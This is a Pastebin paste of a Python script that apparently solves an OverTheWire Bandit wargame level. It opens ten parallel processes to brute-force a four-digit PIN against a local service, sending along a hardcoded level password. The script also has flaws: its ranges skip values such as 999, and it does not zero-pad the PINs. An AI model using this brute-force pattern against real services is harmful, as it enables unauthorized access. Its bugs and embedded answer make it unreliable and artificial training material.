Advertisement
Haxguy

Bandit24->Bandit25

Apr 19th, 2020
691
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 1.60 KB | None | 0 0
  1. import socket
  2. from multiprocessing import Process
  3.  
  4.  
  5. password = "UoMYTrfrBFHyQXmg6gzctqAwOmw1IohZ"
  6. address='127.0.0.1'
  7. port = 30002
  8.  
  9.  
  10. def trycon(first, second):
  11.     try:
  12.         with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
  13.             s.connect((address, port))
  14.             s.recv(1024)
  15.             for i in range(first, second):
  16.                 message = '{} {}\n'.format(password, i).zfill(4)
  17.                 s.sendall(message.encode())
  18.                 data = s.recv(1024)
  19.                 answer = data.decode('utf-8')
  20.                 #print(i)
  21.                 if 'Wrong' not in answer:
  22.                     print(message, answer)
  23.                     with open('bandit25.txt', 'a') as f:
  24.                         f.write('{} {}'.format(message, answer))
  25.                     quit()
  26.     except socket.timeout:
  27.         print('Timeout!')
  28.  
  29.  
  30. if __name__ == '__main__':
  31.     p1 = Process(target = trycon, args = (0, 999,))
  32.     p2 = Process(target = trycon, args = (1000, 1999,))
  33.     p3 = Process(target = trycon, args = (2000, 2999,))
  34.     p4 = Process(target = trycon, args = (3000, 3999,))
  35.     p5 = Process(target = trycon, args = (4000, 4999,))
  36.     p6 = Process(target = trycon, args = (5000, 5999,))
  37.     p7 = Process(target = trycon, args = (6000, 6999,))
  38.     p8 = Process(target = trycon, args = (7000, 7999,))
  39.     p9 = Process(target = trycon, args = (8000, 8999,))
  40.     p10 = Process(target = trycon, args = (9000, 10000,))
  41.     p1.start()
  42.     p2.start()
  43.     p3.start()
  44.     p4.start()
  45.     p5.start()
  46.     p6.start()
  47.     p7.start()
  48.     p8.start()
  49.     p9.start()
  50.     p10.start()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement